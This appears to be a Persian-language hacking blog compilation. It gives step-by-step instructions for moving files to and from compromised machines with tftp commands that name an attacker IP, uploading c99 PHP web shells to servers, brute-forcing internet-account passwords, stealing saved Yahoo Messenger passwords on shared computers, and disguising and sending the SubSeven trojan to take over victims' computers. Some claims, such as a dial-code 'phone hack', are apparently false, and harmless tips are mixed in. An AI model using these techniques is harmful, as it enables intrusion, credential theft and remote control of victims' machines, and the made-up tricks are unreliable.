ز گهواره تا گور دانش بجو

وقتی که ما از یک Server و یا یک Client با استفاده از باگ آن (بطور مثال Lsass ,Dcom ,IIS ,Apache,Mysql ,...) یک سطح دسترسی (Shell ) می گیریم می تونیم اونجا مثل Command pormpt سیستم خودمون کارائی انجام بدیم و لی برای ارسال و دریافت فایل باید از tftp استفاده کنیم .کلاینت این برنامه در شاخه ی System32 همه ی سیستم عامل های windows هستش و شما می تونید با اجرا کردن tftp که از اینجا میتونید داونلودش کنید در سیستم خودتون نقش Server رو بازی کنید و چون به کلاینت اون دسترسی دارید بهش دستور ارسال و دریافت از Server تون که تو سیستم شما در حال اجراست رو بدید (یک ارتباط Client & ُServer ای )

خوب برای شروع این کار بعد از DowanloadکردنTftpاز  اینجا فایل tftpd32.exe رو از توش اجرا کنید و قتی که باز شد

می تونید ip خودتون رو اونجا ببینید اگه اولش 192 داشت یا به بیانی Unvalid بود برین اینجا و ip valid خودتون رو ببینید چون به این ip احتیاج داریم .بعدش دکمه ی Browse رو تو tFtp بزنید و به طور مثال دایرکتری Desktop رو بهش بدید و بعدش show Dir رو تو برنامه بزنید و فایلی رو که میخواین به سیستم طرف انتقال بدین رو انتخاب کنید مثلآ Server.exe

خوب حالا برید تو shell ای که ازش گرفتین و به tFtp اون دستور بدید که Server.exe رو بگیره برای این کار از این دستور استفاده کنید Tftp -i 62.32.45.67 get server.exe که این ip همون ip ای هستش که از تو سایت گرفتیم (ip خودتون) دستور get برای اینه که به tFtp اون بگه فایل رو بگیره . شما در هر دایرکتری در سیستم طرف که باشید این فایل همون جا کپی مس شه و تو shell مینویسه Transfer Successful

حال برای اینکه بتونیم فایلی رو از سیستمش بگیریم باید بریم تو همون شاخه ای که اون فایل هست تو shell بعد اونجا بنویسیم

tFtp -i 62.32.45.67 post aks.jpg با این دستور فایل ( عکس و برنامه و ..) رو که از سیستم اون برای شما می فرسته که درصد فایل های ارسالی و دریافتی تو tFtp قابل مشاهده هستش

این روش ارسال و دریافت رو برای شلی که با iRcHaTaN Ps 7.1 از سیستم قربانی میگیدید هم میتونید استفاده کنید

برای ارسال: Tftp -i 62.32.45.67 get server.exe

برای دریافت: Tftp -i 62.32.45.67 post server.exe

۱.مشاهده سایت های اینترنتی از طریق ماشین حساب ویندوز!

احتمالأ گذر شما نیز تاکنون به ماشین حساب موجود در ویندوز افتاده است. یک ماشین حساب تقریبأ پیشرفته که کار آن انجام عملیات ریاضی است. اما در این ترفند قصد داریم به وسیله یک روش مخفی ، از طریق همین ماشین حساب کاری کنیم که بتوان کلیه سایت های اینترنتی را با آن مشاهده کرد. به نوعی آن را تبدیل به یک مروگر صفحات اینترنتی کرد!

برای این کار:
ابتدا به اینترنت وصل شوید.
برنامه Calculator را از طریق Start > All Programs > Accesroies اجرا کنید.
از منوی Help برنامه روی Help Topics کلیک کنید. خواهید دید پنجره جدیدی و مربوط به Help برنامه باز میشود.
اکنون از بالای پنجره ، سمت چپ ، محلی که عبارت Calclulator به چشم میخورد ، بر روی آیکون علامت سوال زرد کلیک کنید.
در داخل منو بر روی Jump to URL کلیک کنید. خواهید دید که پنجره کوچکی باز میشود.
اکنون کافی است در فیلد مخصوص Jump to this URL ، آدرس سایتی که میخواهید به آن وارد شوید مثلأ http://www.pc4hack.blogfa.com را وارد کنید و روی دکمه OK کلیک کنید.
حالا چند ثانیه صبر کنید تا پنجره سمت راست ، صفحه اینترنتی شما لود شود.
به این ترتیب شما یک مروگر مخفی در اختیار خواهید داشت.
لازم به ذکر است برای وارد کردن آدرس اینترنتی ، وارد نمودن //:http الزامی است.

۲.دریافت خلافی ماشین از طریق SMS

حتما شما نيز تا به حال براي دريافت خلافي اتومبيلتان اقدام كرده ايد و مي دونيد كه اين كار چقدر دردسر داره .
اما اين بار قصد دارم روشي را معرفي كنيم كه از طريق آن قادريد تا خلافي ماشين خودتون رو از طريق سرويس پيام كوتاه ، بر روي تلفن همراه خود دريافت كنيد .
بدین منظور:
ابتدا پشت کارت ماشین خود را ملاحظه کنید. در پشت این کارت ، یک کد 17 رقمی به شکل عمودی حک شده است. این کد با IR شروع میشود.
اکنون شما میبایست این کد را به شماره 30005151 از طریق SMS ارسال کنید.
پس از چند لحظه مقدار جریمه ماشین و تعداد دفعات آن برای شما ارسال میشود.

۳.جستجوی فایلهای موجود در Rapidshare به وسیله گوگل!

احتمالا همگی شما سایت Rapidshare.com را میشناسید. بزرگترین سایت آپلود و به اشتراک گذاری فایل ها که البته در ایران به دلیل محدودیت هایی که دارد چندان محبوب نیست ، اما به علت معروفیت و امکانات فراوان بسیاری از لینک های دانلود فایل ها در این سایت قرار دارد. طبعأ این گستردگی و عظمت سایت راپیدشیر موجب میشود فایلهای بسیار زیادی اعم از بازی ها ، برنامه ها ، موزیک ها ، ویدئوها و ... در این سایت توسط کاربران به شکل عمومی آپلود شده باشد. اما تا زمانی که لینک دانلود در اختیار شما قرار نگیرد امکان دانلود این فایلها را نخواهید داشت. موتورهای جسجتوی متعددی نیز برای جستجو در راپیدشیر ساخته شده اند که همگی تقریبأ چندان کارآمد نیستند. در این ترفند قصد داریم به معرفی روش فوق العاده بپردازیم که با بهره گیری از موتور جستجوی معروف گوگل بتوان محتویات راپیدشیر را جستجو کرد!

برای این کار:

> کافی است ابتدا وارد گوگل شوید.
> اکنون در قسمت مربوط به جستجو ، عبارت های زیر را بعد از “site:rapidshare.com” تایپ کرده و Enter بزنید.
> برای کتاب های الکترورنیک با فرمت PDF از “inurl:pdf” استفاده کنید.
> برای فایل های ویدیویی از “inurl:avi|wmv|mpg|3gp” استفاده کنید.
> برای فایل های صوتی از “inurl:mp3|ogg|wma” استفاده کنید.
> برای فایل های اجرایی از “inurl:exe” استفاده کنید.
> برای فایل های فشرده “inurl:zip|rar|7zip|tar” استفاده کنید.

به عنوان مثال اگر شما به دنبال نرم افزار Google Earth با فرمت Zip می گردید باید در گوگل عبارت زیر را (بدون ” ” ها ) جستجو کنید :
“site:rapidshare.com inurl:zip google earth”
برای جستجوی یک فایل PDF که فرضا نام آن vahshatestan باشد عبارت زیر را در گوگل جستجو کنید:
“site:rapidshare.com inurl:pdf vahshatestan”
و به این ترتیب پیرامون کلیه فایلهای دیگر نیز از فرمول های فوق کمک بگیرید.

۴.هك كنتور برق ، آب ، تلفن

زمانی که شما میخواهید یک سایت را هک کنید معمولا از 3 راه وارد می شوید .
1. با روش های مهندس اجتماعی یا Pharming که با تروجان و ... انجام می شود .
2.در سایت یا سرور مورد نظر باگ پیدا می کنید .
3. از سرور مورد نظر شل میگیرید .

منظور از شل همان دسترسی از سرور است . حال چگونه باید از سایت مورد نظر دسترسی بگیریم ؟؟ چرا دسترسی میگیریم ؟؟ چه نوع دسترسی در اختیار داریم ؟؟

شما زمانی از سرور مورد نظر شل میگیرید که تمام راهای شما بسته باشد . یعنی سایت مورد نظر باگ نداشته باشد و رورش های مهندس اجتماعی که برفریب دادن انسان ها استوار است بر آن اثر نکند . در این مواقع شما باید از برنامه هایی که از سرور به شما شل می دهند کمک بگیرید .

برای اینکه بتوانید از سرور دسترسی بگیرید باید این برنامه های shell script را بر روی یکی از سایت های سرور مورد نظر آپلود کنید .
زیرا یکی از راهای هک کردن تمام شبکه ها عضو بودن در آن شبکه است . زیرا خیلی اطلاعات از شبکه را بدست می آورید و شما قادر خواهید بود بسیاری از کنترل های آن شبکه را در اختیار داشته باشید . چون یک عضو معتبر آن شبکه هستید . همین موضوع در هک کردن سرور ها هم سرایت خواهد کرد. و با داشتن یک سایت در آن سرور و آپلود کردن shell script ها بر روی آن می توانید از سرور دسترس بگیرید.( اما نه از کل سرور . ابتدا فقط از سایتی که بر روش shell scriptرو آپلود کریدن دسترسی دارین که باید دسترسی خودتونو بالا ببرید و به مقام root برسید) . (root در لینوکس همانند دسترسی administrator در ویندوز است.)
حال شما میتوانید یک سایت بر روی سرور هک کنید و یک shell scriptبر روی آن سایت آپلود کنید . یا یک سایت از آن سرور خریداری کنید . یا از یکی از دوستانتن که بر روی آن سرور هاست دارد از آن به مدت چند ساعت قرض بگیرید. تا بتوانید بر روی سرور عملیاتی برای root شدن انجام دهید .
اینکه شما بدان چگونه shell scriptباید آپلود کنید مهم است . زیرا shell scriptها به زبان های مختلفی نوشته می شوند . و بستگی دارد که سرور مورد نظر کدام را ساپورت کند . اگر سرور هدف لینوکس باشد بهتر است شما از php sheller ها که با زبان php نوشته شده اند استفاده کنید .

یکی از بهترین اینگونه php sheller ها c99 نام دادرد .
وقتی شما یک php sheller را بر روی یک سایت آپلود می کنید و آنرا اجرا می کنید , چند چیز برای شما باید مهم و الویت اول را داشته باشد

1. دسترسی مجاز به پوشه ها که در لینوکس به آن ((perm می گویند. بالا ترین دسترسی پوشه ها که perm دارد و به آن 777 هم می گویند دارای امکانات زیر می باشد :
Read - Write - Execute
یعنی شما میتوانید در پوشه بخوانید . بنویسید . تغیر بدهید و حتی یک فایل آپلود کنید . که در php shell ها دسترسی perm به صورت زیر جلوی هر پوشه یا فایل نوشته می شود .
drwxrwxrwx <==== اگر جلوی یک پوشه ای این علامت را در php shell ها دید بدانید می توانید در آن هر کاری انجام دهید . نظیر :

کپی . تغیر دادن . خواندن . نوشتن .
اگر عبارت به صورت -rwxrwxrwx <=== بود بدانید آن فایل است .
نکته : شما فقط تا زمانی که دسترسی کامل ندارید با اینگونه مقررات مشکل دارید اگر دسترسی کامل داشته باشید حتی در پوشه های بدونه perm که به اینگونه نوشته می شوند :dr-xr-xr-x یا r--r--r-- و نوع های دیگر .
در c99 پوشه و فایل هایی که قابل دستکاری می باشند و یا به اصطلاحی perm هستند به رنگ سبز و بدون perm به رنگ قرمز یا سفید.

2.on یا off بودن قسمت safe-mod .زیرا اگه on باشه به عبارتی شما نمیتونید root بشید . زیرا برای روت شدن باید با comand کار کنید که اگر safe-mod on باشه نمی شه comand اجرا کرد .

خوب حالا از بالا تمام آیتم های php shller را یک بار مرور می کنیم :
در این قسمت نوع سرویس دهنده سرور و ورژن اون رو نشون می ده Softwar:
دراین قسمت اطلاعاتی در بارهی سرور میده uname -a:
اگه این قسمت off باشه شما میتونید به دایرکتوری ها برید و کامند اجرا کنید اما اگه on باشه نمی تونید safe-mod:
در این قسمت به شما نشون میده که در کدام قسمت از سایت هستید و چه نوع دسترسی داریدc:\drwxrwxrwx :

این قسمت مقدار کل فضای هارد سرور و فضای استفاده شده و باقی مانده رو نشون میده: free 5.3GB of 14.96 GB (20.6%)
این قسمت به شما درایو های سرور رو نشون می دهDEtected Dirves

سلام اینم آموزش استفاده اینترنت مجانی که دیگه شما پولتون رو الکی واسه خریدن کارت مصرف نکنید وبرید و بجاش یه بستنی و پفک بخرید.

اینم آموزش برنامهUnsecure :

computername or ip :
تو اين قسمت IP سايتی که می خواهين از روش acconte بدوزديد رو وارد می کنيد
یا آدرس اون رو
Port :
تو اين قسمت شما ميتونيد پورت ۲۱ يا ۷۹ رو وارد کنيد البته اگر باز بود
current password :
تو اين قسمت چيزی وارد نکنيد خود برنامه با اينجا کار داره
Usernsme :
تو اين قسمت بايد ايدی که ميخواهيد کرک کنيد رو وهرد کنيد مثلا Username یه کارت
که می تونید خودتون هم هدس بزنید
Dictionary File :
تو اين قسمت بايد اسم ليست پسورد رو انتخاب کنيد
شما هم ميتونيد از برنامه توليد پسورد خود برنامه انتخاب کنيد يا از ليست پسوردی که
خودتون تو يه فايل TXT ذخيره کردين استفاده کنيد ....از رو اينترنت هم ميتونيد بگيريد

دو .....Attack Option
Dictionry Attack :
اگر میخواهین از لیست پسورد برای پیدا کردن پسورد استفاده کنید باید اینجا رو تیک بزنید
توجه : passlist معمولا یه فایل که تعداد زیادی پسورد توش قرار داره و شما میتونید اون رو از
روی اینترنت پیدا کنید و معمولا یه فایل TXT یا pas هستش
اگر اینجا رو تیک بزنید باید آدرس این فایل رو روی هاردتون یعنی جایی که ذخیرش کردین رو
بنویسید مثلا :c: ew folderpasslist.txt
این آدری رو باید تو قسمت قبل یعنی Dictionary File وارد کنيد
Brute Force attack :
این گذینه رو حتما باید تیک بزنید
Reconnect on disconnect :
این یکی رو هم حتما باید تیک بزنید
AutoSave every 100 Attack :
این گذینه بعد از هر ۱۰۰ بار چک کردن نتیجه رو براتون save میکنه

سه.....Brute Force option
تو این قسمت شما باید نحوه چک کردن پسورد رو تنظیم کنید مثلا من براتون یه مثال میزنم
ببینید مثلا من یه کارت اینتر نت دارم که به این صورت است :

خوب اول من باید بیام و یه Username درگه رو برای چک کردن حدس بزنم و با کمی تعییر
میشه به راحتی این کارو کرد چون اکثر شبکه ها برای Userbame های خودشون از یه
فرم خاص استفاده میکنن مثلا من این رو انتخاب میکنم :
ha2565452

دقت کنید که تعداد کاراکتر ها ثابت است و من فقط سعی کردم اعداد آخر رو تغییر بدم
که شانس وجود داشتن این username بیشتر میشه
در قسمت پسورد ما فقط به دوتا فاکتور اهمیت میدیم
اول : پسورد اما از چه کارکتر هایی تشکیل شده که در مثال من از ععد و حروف تشکیل شده
پس من باید بر طبق همین قسمت a-z و 0-9 رو تیک بزنم
دوم : تعداد کارکتر های تشکیل دهنده پسورد ما چقدره ؟ که در مثال من 8 تا است
پس من عدد 8 رو باید در قسمت Number of characters to start on تایپ کنم
این دیگه بستگی به خلاقیت شما داره و قدرت تشخیص و تفکر شما به عنوان یه هکر

چهار ....در این قسمت کار تنظیمات دیگه تموم شده و ما باید برای شروع
دکمه Conecct رو فشار بديم حالا فقط بايد يکم صبر داشته باشيم... برنامه هم اينجا بگيريد:

دانلود برنامه

خواهشا از اين مطالبی كه می گم استفاده كنيد اما سوء استفاده نكنيد!!

خیلی دلت می خواد اکانت محانی داشته باشی نه؟

البته با کمی شانس و حسن نیت! می تونی ...

پس برو به ادامه مطلب...

راستش اگه دوستت از این تازه به دوران رسیده ها باشه که یا عاشق باشه یا اهل دل! اکانت خودش رو به یه اسمه دیگه انتخاب کرده پس تو خیلی راحت میتونی وارد ویندوز طرف بشی و با کمی شانس می تونی هر غلطی دلت خواست بکنی!

البته شاید به این نکته فکر کرده باشی که"حالا اگه دوستم این مطلب رو خوند من چیکار کنم؟"

نترس راهش رو هم بهت یاد دادم!!!

بریم تو ادامه مطلب واسه آموزش!!

حالا اگه دوست داری می تونی بری تو ادامه مطلب بقیه شو بخونی اگه نه منتظر باش هک بشی!!

اگر با ريجستري آشنايي نداريد بهتره اول به بخش ريجستري بريد و يك خورده با اون آشنا بشيد.

از منوي Start گزينه Run را انتخاب كنيد و Regedit را تايپ كنيد تا داخل محيط ويرايش ريجستري شويد حالا به اين كليك در ريجستري برويد :

و روی Save Password دو بار كليد كنيد و عدد 100 را در آن تايپ كنيد و OK بزنيد حالا ياهو مسنجر را نگاه كنيد آخرين ID و Password ID می بينيد می توانيد باآن LOGIN بشويد .

حال بايد يك برنامه كه از قبل آمده كرده باشيد كه پسورد روي ويندوز را بخواند كه با آن بتوانيد پسورد درون ياهو مسنجر را بخوانيد.

اين كار شما مي توانيد در كافي نت انجام بدهيد چون پسورد شخص قبلي كسي كه قبل از شما كار مي كرده اگر هم پسورد هم Save نكرده باشه مي توانيد در بياريد .

توجه : شما مي خواهيد اين كارو در كافي نت انجام بدهيد اما مي بينيد هر چي

Regedi را در Run تايپ مي كنيد ويندوز Error به شما مي دهد اين به آن معنا است .كه رجستري ويندوز پسورد داره پس شما بيايد به جاي Regedi اين را regedt32 تايپ كنيد ...

یکی از بزرگترین مشکلاتی که کاربران با آن روبرو هستند مشکل فراموش کردن پسورد BIOS کامپیوتر است. چرا که با این کار دیگر امکان ورود به کامپیوتر را نخواهند داشت. معمولأ برای رفع این مشکل درآوردن باتری ساعت از روی مادربورد پیشنهاد میشود. اما این کار همیشه و هرجا قابل انجام نیست. چرا که ممکن است سیستم شخصی شما نباشد یا حتی دستگاه یک لپتاپ باشد. اما با استفاده از این ترفند شما به سادگی و تنها با تایپ یک دستور ساده پسورد ذخیره شده روی BIOS را کلأ محو میکنید! یقینأ چنین راهی را در هیچ جای دیگر نخواهید یافت! لازم به ذکر است این ترفند بر روی تمامی BIOS ها قابل انجام است و تفاوتی در نوع آن نمیکند.

برای این کار:
شما ابتدا نیاز به یک سی دی Bootable دارید. این نوع سی دی در هر مکانی یافت میشود. سی دی نصب ویندوز شما هم احتمال بسیار زیاد Bootable است.
همچنین میتوانید خودتان یک فلاپی بوتیبل بسازید. مهم این است که شما به نوعی وارد خط فرمان شوید.
همچنین اگر DOS دارید میتوانید از آن استفاده کنید.
پس از ورود به خط فرمان با استفاده از هر یک از طرق بالا کافی است دستورات زیر را با دقت وارد نمایید:

دقت کنید بعد از وارد کردن هر خط دکمه Enter را بزنید ، سپس خط بعدی را وارد کرده و مجدد Enter بزنید تا به خط پایان برسید.
اکنون پس از وارد کردن آخرین خط کار تمام است و شما میتوانید مطمئن باشید پسورد BIOS شما پاک شده است.
حال سیستم را Reset کنید و مشاهده کنید که دیگر پس از ورود به سیستم از شما پسوردی خواسته نمیشود.

شروع آموزش :: برای هک کردن موبایل ۱ باید گوشی اون رو ۱ بار به دستتون بگیرید و شماره تلفن خودتون رو به صورت زیر بگیرید.مثلا اگر شماره شما :: ۰۹۱۲۳۶۵۸۷۳۴ بود شما باید به صورت *۰۹۱۲۳۶۵۸۷۳۴ :: بگیرید یعنی جولوش یک ستاره بگذارید و وقتی شماره گرفته شد کافیه گوشیتونو بردارید تا ارتباط برقرار شود.خب حالا در واقع میتونیم بگیم که گوشی قربانی هک شد.و مرحله حساس این است که بدونیم چه جوری میشه اون ۳تا کاره بالا رو انجام داد.اما من اون ۳ تا کار رو هم آموزش میدم.در زیر شماره میزنم و هر شماره آموزش همون کار به تیتر بالا هست :

۳:عدد ۶۷۶۷۵۴۳۲ رو شماره گیری کنید و ............ بعد با پیغامی رو به رو میشوید که میگه ارتباط قطع شد یعنی گوشی سوخت!!!!!!

ابتدا روي فايل server.exe راست كليك كنيد و تيك جلوي read only را خارج كنيد.بعد فايلedite serverرا اجرا كنيد.در قسمت start up فايل win.ini را نتخاب كنيد.

browse را بزنيد از انجا server.exe انتخاب نماييد.روي read current setting كليك كنيد.در قسمت notify ادرس ايميل خود را وارد كنيد.بهتر است اين ادرس ادرس ايميل اصلي شما نباشد.ميتوانيد يك ايميل فقط براي اين كار بسازيد در قسمت server بايد ادرس سرور ايميل را بنويسيد.مثلا براي ياهو بايد بنويسيد mail.yahoo.com

.در قسمت user id هم كد كاربري را وارد نماييد.سپس تيك جلوي enable e_mail را فعال كنيد.

ميتوانيد از قسمتchange server icon يك ايكون براي گول زدن فرد تايين كنيد مثلا ميتوانيد ايكون شكل يك عكس را انتخاب كرده و براي طرف به عنوان عكس بفرستيد.

در قسمت vactim name نام كامپيوتر فرد را بنويسيد(اين نام ميتواند هر نامي كه دوست داريد باشد و فقط جنبه شناسايي براي شما دارد).حال save new setting را بزنيد.

شما بايد اين فايل را به هر طريق براي شخص بنويسيد مثلا از طريق چت به عنوان اهنگ يا عكس(دقت كنيد كه شكل ايكوني كه انتخاب ميكنيد در اين كه شخص ان را باز كند تاثير دارد)

وقتي شخص ان را اجرا كند يه ايميل به ادرسي كه قبلا ثبت كرديد فرستاده شده و IP وPORT‌شخص براي شما ارسال ميشود.

پس از دريافت ايميل sub seven را اجرا كنيد . IP در يافت شده را در قسمت IP/uin و پورت را در قسمتPORT بنويسيد.حال با كليك روي connect ميتوانيد كامپيوتر مورد نظر را تحت كنترل خود بگيريد.

بعد از اين كه مراحل را با موفقيت انجام داديد ميتوانيد در قسمت keys/messages كيبورد فرد را خاموش و غير فعال كنيد.

در قسمت چت ميتوانيد يك صفحه مانند صفحه pm‌ياهو مسنجر بر كامپيوتر فرد باز كنيد و از اين طريق با او حرف بزنيد.

در قسمت advanced password‌ميتوانيد پسورد و user name و شماره اتصال اكانت فرد را ببينيد.

miscellaneous -file manager‌هم براي كنترل روي فايلها و پوشه هاي شخص است و از اين طريق ميتوانيد انها را ديده اجرا و يا پاك كنيد.

در قسمت fun manager-desktop webcam ميتوانيد صفحه desktop فرد را ببينيد.و در قسمت flip screen‌صفحه فرد مورد نظر را وارونه ميكنيد.

همچنين در قسمت extra fun ميتوانيد چراغ كيبورد .مانيتور فرد و در cd rom شخص را خاموش و باز و بسته كنيد يا حتي كامپيوتر شخص را reset كنيد.